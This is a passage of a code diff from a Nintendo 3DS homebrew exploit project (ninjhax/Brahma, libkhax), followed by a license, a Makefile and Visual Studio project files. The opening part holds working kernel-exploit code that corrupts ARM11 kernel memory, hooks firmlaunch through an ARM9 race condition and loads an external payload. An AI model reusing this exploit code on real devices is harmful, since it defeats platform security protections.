do_gshax_copy(addr_lin_o, cstm_heap, 4 * sizeof(u32));
|
||||
|
||||
// Trigger write to 'address'
|
||||
svcControlMemory(&dummy, addr_lin, 0, 0x1000, MEMOP_FREE, 0);
|
||||
|
||||
// restore heap
|
||||
do_gshax_copy(addr_lin, saved_heap, size_heap_cblk);
|
||||
|
||||
linearFree(saved_heap);
|
||||
linearFree(cstm_heap);
|
||||
return;
|
||||
}
|
||||
|
||||
// trick to clear icache
|
||||
void user_clear_icache (void) {
|
||||
s32 i, result = 0;
|
||||
s32 (*nop_func)(void);
|
||||
const u32 size_nopslide = 0x1000;
|
||||
u32 *nop_slide = memalign(0x1000, size_nopslide);
|
||||
|
||||
if (nop_slide) {
|
||||
HB_ReprotectMemory(nop_slide, 4, 7, &result);
|
||||
for (i = 0; i < size_nopslide / sizeof(u32); i++) {
|
||||
nop_slide[i] = ARM_NOP;
|
||||
}
|
||||
nop_slide[i-1] = ARM_RET;
|
||||
nop_func = nop_slide;
|
||||
HB_FlushInvalidateCache();
|
||||
|
||||
nop_func();
|
||||
free(nop_slide);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* get system dependent data and set up ARM11 structures */
|
||||
s32 setup_exploit_data (void) {
|
||||
s32 result = 0;
|
||||
|
||||
if (get_exploit_data(&g_expdata)) {
|
||||
/* copy data required by code running in ARM11 svc mode */
|
||||
/* copy data required by code running in ARM11 svc mode */
|
||||
g_arm11shared.va_hook1_ret = g_expdata.va_hook1_ret;
|
||||
g_arm11shared.va_pdn_regs = g_expdata.va_pdn_regs;
|
||||
g_arm11shared.va_pxi_regs = g_expdata.va_pxi_regs;
|
||||
@ -155,29 +87,16 @@ s32 setup_exploit_data (void) {
|
||||
return result;
|
||||
}
|
||||
|
||||
/* Corrupts ARM11 kernel code (CreateThread()) in order to
|
||||
open a door for code execution with ARM11 SVC privileges. */
|
||||
s32 corrupt_svcCreateThread (void) {
|
||||
s32 result = 0;
|
||||
|
||||
priv_write_four(g_expdata.va_patch_createthread);
|
||||
user_clear_icache();
|
||||
result = 1;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/* TODO: network code might be moved somewhere else */
|
||||
s32 recv_arm9_payload (void) {
|
||||
s32 sockfd;
|
||||
struct sockaddr_in sa;
|
||||
s32 ret;
|
||||
u32 kDown, old_kDown;
|
||||
s32 clientfd;
|
||||
struct sockaddr_in client_addr;
|
||||
s32 addrlen = sizeof(client_addr);
|
||||
u32 addrlen = sizeof(client_addr);
|
||||
s32 sflags = 0;
|
||||
|
||||
|
||||
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
|
||||
printf("[!] Error: socket()\n");
|
||||
return 0;
|
||||
@ -188,7 +107,7 @@ s32 recv_arm9_payload (void) {
|
||||
sa.sin_port = htons(BRAHMA_NETWORK_PORT);
|
||||
sa.sin_addr.s_addr = gethostid();
|
||||
|
||||
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||
if (bind(sockfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||
printf("[!] Error: bind()\n");
|
||||
close(sockfd);
|
||||
return 0;
|
||||
@ -250,7 +169,7 @@ s32 recv_arm9_payload (void) {
|
||||
|
||||
fcntl(sockfd, F_SETFL, sflags & ~O_NONBLOCK);
|
||||
|
||||
printf("\n\n[x] Received %d bytes in total\n", total);
|
||||
printf("\n\n[x] Received %u bytes in total\n", (unsigned int)total);
|
||||
g_ext_arm9_size = overflow ? 0 : total;
|
||||
g_ext_arm9_loaded = (g_ext_arm9_size != 0);
|
||||
|
||||
@ -262,23 +181,37 @@ s32 recv_arm9_payload (void) {
|
||||
|
||||
/* reads ARM9 payload from a given path.
|
||||
filename: full path of payload
|
||||
offset: offset of the payload in the file
|
||||
max_psize: the maximum size of the payload that should be loaded (if 0, ARM9_MAX_PAYLOAD_SIZE. Should be smaller than ARM9_MAX_PAYLOAD_SIZE)
|
||||
returns: 0 on failure, 1 on success */
|
||||
s32 load_arm9_payload (char *filename) {
|
||||
s32 load_arm9_payload_offset (char *filename, u32 offset, u32 max_psize) {
|
||||
s32 result = 0;
|
||||
u32 fsize = 0;
|
||||
u32 psize = 0;
|
||||
|
||||
if (max_psize == 0 || max_psize > ARM9_PAYLOAD_MAX_SIZE)
|
||||
max_psize = ARM9_PAYLOAD_MAX_SIZE;
|
||||
|
||||
if (!filename)
|
||||
return result;
|
||||
return result;
|
||||
|
||||
FILE *f = fopen(filename, "rb");
|
||||
if (f) {
|
||||
fseek(f , 0, SEEK_END);
|
||||
fsize = ftell(f);
|
||||
g_ext_arm9_size = fsize;
|
||||
rewind(f);
|
||||
if (fsize >= 8 && (fsize <= ARM9_PAYLOAD_MAX_SIZE)) {
|
||||
u32 bytes_read = fread(g_ext_arm9_buf, 1, fsize, f);
|
||||
result = (g_ext_arm9_loaded = (bytes_read == fsize));
|
||||
|
||||
if (offset < fsize) {
|
||||
psize = fsize - offset;
|
||||
if (psize > max_psize)
|
||||
psize = max_psize;
|
||||
|
||||
g_ext_arm9_size = psize;
|
||||
|
||||
fseek(f, offset, SEEK_SET);
|
||||
if (psize >= 8) {
|
||||
u32 bytes_read = fread(g_ext_arm9_buf, 1, psize, f);
|
||||
result = (g_ext_arm9_loaded = (bytes_read == psize));
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
}
|
||||
@ -297,7 +230,7 @@ s32 load_arm9_payload_from_mem (u8* data, u32 dsize) {
|
||||
memcpy(g_ext_arm9_buf, data, dsize);
|
||||
result = g_ext_arm9_loaded = 1;
|
||||
}
|
||||
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
@ -309,7 +242,7 @@ s32 load_arm9_payload_from_mem (u8* data, u32 dsize) {
|
||||
code.
|
||||
Thus, the format of ARM9 payload written for Brahma is the following:
|
||||
- a branch instruction at offset 0 and
|
||||
- a placeholder (u32) at offset 4 (=ARM9 entrypoint) */
|
||||
- a placeholder (u32) at offset 4 (=ARM9 entrypoint) */
|
||||
s32 map_arm9_payload (void) {
|
||||
void *src;
|
||||
volatile void *dst;
|
||||
@ -320,7 +253,7 @@ s32 map_arm9_payload (void) {
|
||||
dst = (void *)(g_expdata.va_fcram_base + OFFS_FCRAM_ARM9_PAYLOAD);
|
||||
|
||||
if (!g_ext_arm9_loaded) {
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
// external ARM9 payload
|
||||
@ -328,11 +261,11 @@ s32 map_arm9_payload (void) {
|
||||
size = g_ext_arm9_size;
|
||||
}
|
||||
|
||||
if (size >= 0 && size <= ARM9_PAYLOAD_MAX_SIZE) {
|
||||
memcpy(dst, src, size);
|
||||
if (size <= ARM9_PAYLOAD_MAX_SIZE) {
|
||||
memcpy((void *)dst, src, size);
|
||||
result = 1;
|
||||
}
|
||||
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
@ -348,22 +281,22 @@ s32 map_arm11_payload (void) {
|
||||
dst = (void *)(g_expdata.va_exc_handler_base_W + OFFS_EXC_HANDLER_UNUSED);
|
||||
size = (u8 *)&arm11_end - (u8 *)&arm11_start;
|
||||
|
||||
// TODO: sanitize 'size'
|
||||
// TODO: sanitize 'size'
|
||||
if (size) {
|
||||
memcpy(dst, src, size);
|
||||
memcpy((void *)dst, src, size);
|
||||
result_a = 1;
|
||||
}
|
||||
|
||||
offs = size;
|
||||
src = &g_arm11shared;
|
||||
size = sizeof(g_arm11shared);
|
||||
|
||||
|
||||
dst = (u8 *)(g_expdata.va_exc_handler_base_W +
|
||||
OFFS_EXC_HANDLER_UNUSED + offs);
|
||||
|
||||
// TODO sanitize 'size'
|
||||
if (result_a && size) {
|
||||
memcpy(dst, src, size);
|
||||
memcpy((void *)dst, src, size);
|
||||
result_b = 1;
|
||||
}
|
||||
|
||||
@ -374,7 +307,7 @@ void exploit_arm9_race_condition (void) {
|
||||
|
||||
s32 (* const _KernelSetState)(u32, u32, u32, u32) =
|
||||
(void *)g_expdata.va_kernelsetstate;
|
||||
|
||||
|
||||
asm volatile ("clrex");
|
||||
|
||||
/* copy ARM11 payload and console specific data */
|
||||
@ -384,64 +317,38 @@ void exploit_arm9_race_condition (void) {
|
||||
|
||||
/* patch ARM11 kernel to force it to execute
|
||||
our code (hook1 and hook2) as soon as a
|
||||
"firmlaunch" is triggered */
|
||||
redirect_codeflow(g_expdata.va_exc_handler_base_X +
|
||||
OFFS_EXC_HANDLER_UNUSED,
|
||||
g_expdata.va_patch_hook1);
|
||||
|
||||
redirect_codeflow(PA_EXC_HANDLER_BASE +
|
||||
OFFS_EXC_HANDLER_UNUSED + 4,
|
||||
g_expdata.va_patch_hook2);
|
||||
"firmlaunch" is triggered */
|
||||
redirect_codeflow((u32 *)(g_expdata.va_exc_handler_base_X +
|
||||
OFFS_EXC_HANDLER_UNUSED),
|
||||
(u32 *)g_expdata.va_patch_hook1);
|
||||
|
||||
redirect_codeflow((u32 *)(PA_EXC_HANDLER_BASE +
|
||||
OFFS_EXC_HANDLER_UNUSED + 4),
|
||||
(u32 *)g_expdata.va_patch_hook2);
|
||||
|
||||
CleanEntireDataCache();
|
||||
dsb();
|
||||
InvalidateEntireInstructionCache();
|
||||
|
||||
// trigger ARM9 code execution through "firmlaunch"
|
||||
_KernelSetState(0, 0, 2, 0);
|
||||
_KernelSetState(0, 0, 2, 0);
|
||||
// prev call shouldn't ever return
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* - restores corrupted code of CreateThread() syscall */
|
||||
void repair_svcCreateThread (void) {
|
||||
asm volatile ("clrex");
|
||||
|
||||
CleanEntireDataCache();
|
||||
InvalidateEntireInstructionCache();
|
||||
|
||||
// repair CreateThread()
|
||||
*(u32 *)(g_expdata.va_patch_createthread) = 0x8DD00CE5;
|
||||
|
||||
CleanEntireDataCache();
|
||||
InvalidateEntireInstructionCache();
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
/* restore svcCreateThread code (not really required,
|
||||
but just to be on the safe side) */
|
||||
s32 __attribute__((naked))
|
||||
priv_firm_reboot (void) {
|
||||
asm volatile ("add sp, sp, #8\t\n");
|
||||
|
||||
repair_svcCreateThread();
|
||||
s32 priv_firm_reboot (void) {
|
||||
__asm__ volatile ("cpsid aif");
|
||||
|
||||
// Save the framebuffers for arm9,
|
||||
u32 *save = (u32 *)(g_expdata.va_fcram_base + 0x3FFFE00);
|
||||
save[0] = topFramebufferInfo.framebuf0_vaddr;
|
||||
save[1] = topFramebufferInfo.framebuf1_vaddr;
|
||||
save[2] = bottomFramebufferInfo.framebuf0_vaddr;
|
||||
memcpy(save, frameBufferData, sizeof(u32) * sizeof(frameBufferData));
|
||||
|
||||
// Working around a GCC bug to translate the va address to pa...
|
||||
save[0] += 0xC000000; // (pa FCRAM address - va FCRAM address)
|
||||
save[1] += 0xC000000;
|
||||
save[2] += 0xC000000;
|
||||
exploit_arm9_race_condition();
|
||||
|
||||
exploit_arm9_race_condition();
|
||||
|
||||
asm volatile ("movs r0, #0\t\n"
|
||||
"ldr pc, [sp], #4\t\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* perform firmlaunch. load ARM9 payload before calling this
|
||||
@ -449,13 +356,22 @@ priv_firm_reboot (void) {
|
||||
the handheld */
|
||||
s32 firm_reboot (void) {
|
||||
s32 fail_stage = 0;
|
||||
|
||||
|
||||
// Make sure gfx is initialized
|
||||
gfxInitDefault();
|
||||
|
||||
// Save the framebuffers for arm11.
|
||||
frameBufferData[0] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000;
|
||||
frameBufferData[1] = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000;
|
||||
frameBufferData[2] = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000;
|
||||
gfxSwapBuffers();
|
||||
|
||||
fail_stage++; /* platform or firmware not supported, ARM11 exploit failure */
|
||||
if (setup_exploit_data()) {
|
||||
fail_stage++; /* failure while trying to corrupt svcCreateThread() */
|
||||
if (corrupt_svcCreateThread()) {
|
||||
if (khaxInit() == 0) {
|
||||
fail_stage++; /* Firmlaunch failure, ARM9 exploit failure*/
|
||||
svcCorruptedCreateThread(priv_firm_reboot);
|
||||
svcBackdoor(priv_firm_reboot);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1,7 +1,8 @@
|
||||
#include <3ds.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* loop until key is pressed */
|
||||
u32 wait_key (void) {
|
||||
void wait_key (void) {
|
||||
hidScanInput();
|
||||
u32 old_kDown, kDown;
|
||||
old_kDown = hidKeysDown();
|
||||
@ -17,7 +18,6 @@ u32 wait_key (void) {
|
||||
gfxFlushBuffers();
|
||||
gfxSwapBuffers();
|
||||
}
|
||||
return kDown;
|
||||
}
|
||||
|
||||
/* convenience function */
|
||||
|
22
ninjhax/source/libkhax/LICENSE
Normal file
22
ninjhax/source/libkhax/LICENSE
Normal file
@ -0,0 +1,22 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2015 Myriachan
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
177
ninjhax/source/libkhax/demo/Makefile
Normal file
177
ninjhax/source/libkhax/demo/Makefile
Normal file
@ -0,0 +1,177 @@
|
||||
#---------------------------------------------------------------------------------
|
||||
.SUFFIXES:
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
ifeq ($(strip $(DEVKITARM)),)
|
||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||
endif
|
||||
|
||||
TOPDIR ?= $(CURDIR)
|
||||
include $(DEVKITARM)/3ds_rules
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# TARGET is the name of the output
|
||||
# BUILD is the directory where object files & intermediate files will be placed
|
||||
# SOURCES is a list of directories containing source code
|
||||
# DATA is a list of directories containing data files
|
||||
# INCLUDES is a list of directories containing header files
|
||||
#
|
||||
# NO_SMDH: if set to anything, no SMDH file is generated.
|
||||
# APP_TITLE is the name of the app stored in the SMDH file (Optional)
|
||||
# APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional)
|
||||
# APP_AUTHOR is the author of the app stored in the SMDH file (Optional)
|
||||
# ICON is the filename of the icon (.png), relative to the project folder.
|
||||
# If not set, it attempts to use one of the following (in this order):
|
||||
# - <Project name>.png
|
||||
# - icon.png
|
||||
# - <libctru folder>/default_icon.png
|
||||
#---------------------------------------------------------------------------------
|
||||
TARGET := $(notdir $(CURDIR))
|
||||
BUILD := build
|
||||
SOURCES := . ../
|
||||
DATA := data
|
||||
INCLUDES := include
|
||||
APP_TITLE := khax
|
||||
APP_DESCRIPTION := ARM11 KernelHax
|
||||
APP_AUTHOR := Myria
|
||||
ICON := logo.png
|
||||
NO_SMDH := 1
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# options for code generation
|
||||
#---------------------------------------------------------------------------------
|
||||
ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard
|
||||
|
||||
CFLAGS := -g -Wall -O3 -mword-relocations \
|
||||
-fomit-frame-pointer -ffast-math \
|
||||
$(ARCH)
|
||||
|
||||
CFLAGS += $(INCLUDE) -DARM11 -D_3DS -DARM_ARCH -DKHAX_DEBUG
|
||||
|
||||
CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11
|
||||
|
||||
ASFLAGS := -g $(ARCH)
|
||||
LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map)
|
||||
|
||||
LIBS := -lctru -lm
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# list of directories containing libraries, this must be the top level containing
|
||||
# include and lib
|
||||
#---------------------------------------------------------------------------------
|
||||
LIBDIRS := $(CTRULIB)
|
||||
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# no real need to edit anything past this point unless you need to add additional
|
||||
# rules for different file extensions
|
||||
#---------------------------------------------------------------------------------
|
||||
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||
export TOPDIR := $(CURDIR)
|
||||
|
||||
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||
|
||||
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||
|
||||
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# use CXX for linking C++ projects, CC for standard C
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(CPPFILES)),)
|
||||
#---------------------------------------------------------------------------------
|
||||
export LD := $(CC)
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
#---------------------------------------------------------------------------------
|
||||
export LD := $(CXX)
|
||||
#---------------------------------------------------------------------------------
|
||||
endif
|
||||
#---------------------------------------------------------------------------------
|
||||
|
||||
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||
|
||||
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||
-I$(CURDIR)/$(BUILD)
|
||||
|
||||
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||
|
||||
ifeq ($(strip $(ICON)),)
|
||||
icons := $(wildcard *.png)
|
||||
ifneq (,$(findstring $(TARGET).png,$(icons)))
|
||||
export APP_ICON := $(TOPDIR)/$(TARGET).png
|
||||
else
|
||||
ifneq (,$(findstring icon.png,$(icons)))
|
||||
export APP_ICON := $(TOPDIR)/icon.png
|
||||
endif
|
||||
endif
|
||||
else
|
||||
export APP_ICON := $(TOPDIR)/$(ICON)
|
||||
endif
|
||||
|
||||
.PHONY: $(BUILD) clean all
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
all: $(BUILD)
|
||||
|
||||
$(BUILD):
|
||||
@echo $(SFILES)
|
||||
@[ -d $@ ] || mkdir -p $@
|
||||
@make --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
clean:
|
||||
@echo clean ...
|
||||
@rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf
|
||||
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
else
|
||||
|
||||
DEPENDS := $(OFILES:.o=.d)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# main targets
|
||||
#---------------------------------------------------------------------------------
|
||||
ifeq ($(strip $(NO_SMDH)),)
|
||||
.PHONY: all
|
||||
all : $(OUTPUT).3dsx $(OUTPUT).smdh
|
||||
endif
|
||||
cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
||||
$(OUTPUT).3dsx : $(OUTPUT).elf
|
||||
$(OUTPUT).elf : $(OFILES)
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# you need a rule like this for each extension you use as binary data
|
||||
#---------------------------------------------------------------------------------
|
||||
%.bin.o : %.bin
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $<)
|
||||
@$(bin2o)
|
||||
|
||||
# WARNING: This is not the right way to do this! TODO: Do it right!
|
||||
#---------------------------------------------------------------------------------
|
||||
%.vsh.o : %.vsh
|
||||
#---------------------------------------------------------------------------------
|
||||
@echo $(notdir $<)
|
||||
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
|
||||
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
|
||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
|
||||
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||
@rm ../$(notdir $<).shbin
|
||||
|
||||
-include $(DEPENDS)
|
||||
|
||||
#---------------------------------------------------------------------------------------
|
||||
endif
|
||||
#---------------------------------------------------------------------------------------
|
22
ninjhax/source/libkhax/demo/ctrklib.sln
Normal file
22
ninjhax/source/libkhax/demo/ctrklib.sln
Normal file
@ -0,0 +1,22 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.31101.0
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ctrklib", "ctrklib.vcxproj", "{80EE495D-0A84-4089-A93E-2B9E2BC38F94}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
82
ninjhax/source/libkhax/demo/ctrklib.vcxproj
Normal file
82
ninjhax/source/libkhax/demo/ctrklib.vcxproj
Normal file
@ -0,0 +1,82 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{80EE495D-0A84-4089-A93E-2B9E2BC38F94}</ProjectGuid>
|
||||
<RootNamespace>ctrklib</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="../khaxinit.cpp" />
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Makefile" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="../khax.h" />
|
||||
<ClInclude Include="../khaxinternal.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
36
ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters
Normal file
36
ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters
Normal file
@ -0,0 +1,36 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="../khaxinit.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Makefile" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
